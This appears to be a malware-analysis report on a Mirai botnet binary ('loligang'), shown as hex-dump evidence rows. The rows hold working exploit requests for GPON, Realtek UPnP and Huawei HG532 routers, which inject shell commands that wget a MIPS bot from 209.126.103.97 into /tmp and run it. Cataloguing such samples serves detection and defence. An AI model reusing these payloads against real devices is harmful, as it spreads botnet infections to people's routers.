loligang.spc
Mirai botnet with C2 and exploits
Huawei HG532 exploit with campaign markerMirai LZRD HTTP bot with static uClibc
SHA-256e64175bf7c1db091e667e2a6d336d6a197d7734ff82e419f7d88d6cadd78bcaf
Evidence
⋯7 more rows
0x15f880100000081c7e00881e8000000000000................
0x15f98504f5354202f63646e2d6367692f0000POST /cdn-cgi/..
0x15fa820485454502f312e310d0a557365722d HTTP/1.1..User-
0x15fb84167656e743a20000d0a486f73743a20Agent: ...Host:
⋯8 more rows
0x160480ffffffff0ffffff0000ffff00000000................
0x160582f70726f632f6e65742f746370000000/proc/net/tcp...
0x16068ffffdef0000000003230392e3132362e........209.126.
0x160783130332e393700000a00000000000000103.97..........
0x16088000000010000000025642e25642e2564........%d.%d.%d
0x160982e25640000000000504f5354202f4770.%d.....POST /Gp
0x160a86f6e466f726d2f646961675f466f726donForm/diag_Form
0x160b83f696d616765732f20485454502f312e?images/ HTTP/1.
0x160c8310d0a486f73743a203132372e302e301..Host: 127.0.0
0x160d82e313a383038300d0a436f6e6e656374.1:8080..Connect
0x160e8696f6e3a206b6565702d616c6976650dion: keep-alive.
0x160f80a4163636570742d456e636f64696e67.Accept-Encoding
0x161083a20677a69702c206465666c6174650d: gzip, deflate.
0x161180a4163636570743a202a2f2a0d0a5573.Accept: */*..Us
0x1612865722d4167656e743a204d6f7a696c6cer-Agent: Mozill
0x16138612f352e300d0a436f6e74656e742d4ca/5.0..Content-L
0x16148656e6774683a203131380d0a0d0a5857ength: 118....XW
0x161586562506167654e616d653d6469616726ebPageName=diag&
0x16168646961675f616374696f6e3d70696e67diag_action=ping
0x161782677616e5f636f6e6c6973743d302664&wan_conlist=0&d
0x161886573745f686f73743d60603b77676574est_host=``;wget
0x161982b687474703a2f2f3230392e3132362e+http://209.126.
0x161a83130332e39372f6c6d616f5754462f6c103.97/lmaoWTF/l
0x161b86f6c6967616e672e6d6970732b2d4f2boligang.mips+-O+
0x161c82f746d702f6c6f6c6967616e672e6d69/tmp/loligang.mi
0x161d870733b73682b2f746d702f6c6f6c6967ps;sh+/tmp/lolig
0x161e8616e672e6d697073266970763d300000ang.mips&ipv=0..
0x161f8504f5354202f47706f6e466f726d2f64POST /GponForm/d
0x162086961675f466f726d3f696d616765732fiag_Form?images/
⋯3 more rows
0x16340672e6d697073266970763d3000000000g.mips&ipv=0....
0x16350504f5354202f70696373646573632e78POST /picsdesc.x
0x163606d6c20485454502f312e310d0a486f73ml HTTP/1.1..Hos
0x16370743a2025733a35323836390d0a436f6et: %s:52869..Con
0x1638074656e742d4c656e6774683a20363330tent-Length: 630
0x163900d0a4163636570742d456e636f64696e..Accept-Encodin
0x163a0673a20677a69702c206465666c617465g: gzip, deflate
0x163b00d0a534f4150416374696f6e3a207572..SOAPAction: ur
0x163c06e3a736368656d61732d75706e702d6fn:schemas-upnp-o
0x163d072673a736572766963653a57414e4950rg:service:WANIP
0x163e0436f6e6e656374696f6e3a3123416464Connection:1#Add
0x163f0506f72744d617070696e670d0a416363PortMapping..Acc
0x164006570743a202a2f2a0d0a557365722d41ept: */*..User-A
0x1641067656e743a204d6f7a696c6c612f352egent: Mozilla/5.
0x16420300d0a436f6e6e656374696f6e3a206b0..Connection: k
0x164306565702d616c6976650d0a0d0a3c3f78eep-alive....<?x
0x164406d6c2076657273696f6e3d22312e3022ml version="1.0"
0x16450203f3e3c733a456e76656c6f70652078 ?><s:Envelope x
0x164606d6c6e733a733d22687474703a2f2f73mlns:s="http://s
0x164706368656d61732e786d6c736f61702e6fchemas.xmlsoap.o
0x1648072672f736f61702f656e76656c6f7065rg/soap/envelope
0x164902f2220733a656e636f64696e67537479/" s:encodingSty
0x164a06c653d22687474703a2f2f736368656dle="http://schem
0x164b061732e786d6c736f61702e6f72672f73as.xmlsoap.org/s
0x164c06f61702f656e636f64696e672f223e3coap/encoding/"><
⋯7 more rows
⋯5 more rows
0x1659f4e6577496e7465726e616c506f72743eNewInternalPort>
0x165af3c4e6577496e7465726e616c436c6965<NewInternalClie
0x165bf6e743e606364202f746d702f3b20726dnt>`cd /tmp/; rm
0x165cf202d72662a3b20776765742068747470 -rf*; wget http
0x165df3a2f2f3230392e3132362e3130332e39://209.126.103.9
0x165ef372f6c6d616f5754462f6c6f6c6967617/lmaoWTF/loliga
0x165ff6e672e6d697073603c2f4e6577496e74ng.mips`</NewInt
0x1660f65726e616c436c69656e743e3c4e6577ernalClient><New
⋯4 more rows
0x1665f6f72744d617070696e67446573637269ortMappingDescri
0x1666f7074696f6e3e3c4e65774c6561736544ption><NewLeaseD
0x1667f75726174696f6e3e303c2f4e65774c65uration>0</NewLe
0x1668f6173654475726174696f6e3e3c2f753aaseDuration></u:
⋯16 more rows
⋯5 more rows
0x1693c6c69656e743e606364202f746d702f3blient>`cd /tmp/;
0x1694c63686d6f64202b78206c6f6c6967616echmod +x loligan
0x1695c672e6d6970733b2e2f6c6f6c6967616eg.mips;./loligan
0x1696c672e6d697073207265616c74656b602fg.mips realtek`/
⋯11 more rows
0x16a2c733a456e76656c6f70653e0d0a0d0a00s:Envelope>.....
0x16a3c00000000504f5354202f6374726c742f....POST /ctrlt/
0x16a4c446576696365557067726164655f3120DeviceUpgrade_1
0x16a5c485454502f312e310d0a486f73743a20HTTP/1.1..Host:
0x16a6c25733a33373231350d0a436f6e74656e%s:37215..Conten
0x16a7c742d4c656e6774683a203630310d0a43t-Length: 601..C
0x16a8c6f6e6e656374696f6e3a206b6565702donnection: keep-
0x16a9c616c6976650d0a417574686f72697a61alive..Authoriza
0x16aac74696f6e3a2044696765737420757365tion: Digest use
0x16abc726e616d653d2264736c662d636f6e66rname="dslf-conf
0x16acc6967222c207265616c6d3d2248756177ig", realm="Huaw
0x16adc6569486f6d6547617465776179222c20eiHomeGateway",
0x16aec6e6f6e63653d22383836343563656662nonce="88645cefb
⋯9 more rows
0x16b8c6e6f6e63653d22323438643161323536nonce="248d1a256
0x16b9c30313030363639220d0a0d0a3c3f786d0100669"....<?xm
0x16bac6c2076657273696f6e3d22312e302220l version="1.0"
0x16bbc3f3e3c733a456e76656c6f706520786d?><s:Envelope xm
0x16bcc6c6e733a733d22687474703a2f2f7363lns:s="http://sc
0x16bdc68656d61732e786d6c736f61702e6f72hemas.xmlsoap.or
⋯3 more rows
0x1725b5447501802414e4d5746444e4350470fTGP..ANMWFDNCPG.
0x1726b4c454b4c5a22000000000000006f4d58LEKLZ".......oMX
0x1727b4b4e4e430d170c12020a754b4c464d55KNNC......uKLFMU
0x1728b51026c760213120c121902756d751416Q.lv.......umu..
0x1729b0b026352524e47754740694b560d1711..cRRNGuG@iKV...
0x172ab150c1114020a696a766f6e0e024e4b49......ijvon..NKI
0x172bb4702654741494d0b02614a504d4f470dG.eGAIM..aJPMOG.
0x172cb17130c120c101512160c131211027143..............qC
0x172db4443504b0d1711150c111422006f4d58DCPK.......".oMX
0x172eb4b4e4e430d170c12020a754b4c464d55KNNC......uKLFMU
0x172fb51026c760213120c121902756d751416Q.lv.......umu..
0x1730b0b026352524e47754740694b560d1711..cRRNGuG@iKV...
0x1731b150c1114020a696a766f6e0e024e4b49......ijvon..NKI
0x1732b4702654741494d0b02614a504d4f470dG.eGAIM..aJPMOG.
0x1733b17100c120c101516110c131314027143..............qC
0x1734b4443504b0d1711150c111422006f4d58DCPK.......".oMX
0x1735b4b4e4e430d170c12020a754b4c464d55KNNC......uKLFMU
0x1736b51026c7602140c131902756d7514160bQ.lv......umu...
0x1737b026352524e47754740694b560d171115.cRRNGuG@iKV....
0x1738b0c1114020a696a766f6e0e024e4b4947.....ijvon..NKIG
0x1739b02654741494d0b02614a504d4f470d17.eGAIM..aJPMOG..
0x173ab130c120c101512160c13121102714344.............qCD
0x173bb43504b0d1711150c11142200006f4d58CPK......."..oMX
0x173cb4b4e4e430d170c12020a754b4c464d55KNNC......uKLFMU
0x173db51026c7602140c131902756d7514160bQ.lv......umu...
0x173eb026352524e47754740694b560d171115.cRRNGuG@iKV....
0x173fb0c1114020a696a766f6e0e024e4b4947.....ijvon..NKIG
0x1740b02654741494d0b02614a504d4f470d17.eGAIM..aJPMOG..
0x1741b100c120c101516110c13131402714344.............qCD
0x1742b43504b0d1711150c11142200006f4d58CPK......."..oMX
0x1743b4b4e4e430d170c12020a6f43414b4c56KNNC......oCAKLV
0x1744b4d514a19026b4c56474e026f4341026dMQJ..kLVGN.oCA.m
0x1745b71027a0213127d13137d140b02635252q.z...}..}...cRR
0x1746b4e47754740694b560d1412130c150c15NGuG@iKV........
0x1747b020a696a766f6e0e024e4b4947026547..ijvon..NKIG.eG
0x1748b41494d0b02744750514b4d4c0d1b0c13AIM..tGPQKML....
0x1749b0c100271434443504b0d1412130c150c...qCDCPK.......
0x174ab15220000006f4d584b4e4e430d160c12."...oMXKNNC....
0x174cb6b67021b0c121902754b4c464d555102kg......uKLFMUQ.
0x174db6c7602170c13190276504b46474c560dlv......vPKFGLV.
0x174eb170c120b2200000000000000006f4d58...."........oMX
0x174fb4b4e4e430d160c12020a414d4f524356KNNC......AMORCV
0x1751b754b4c464d5551026c7602140c121902uKLFMUQ.lv......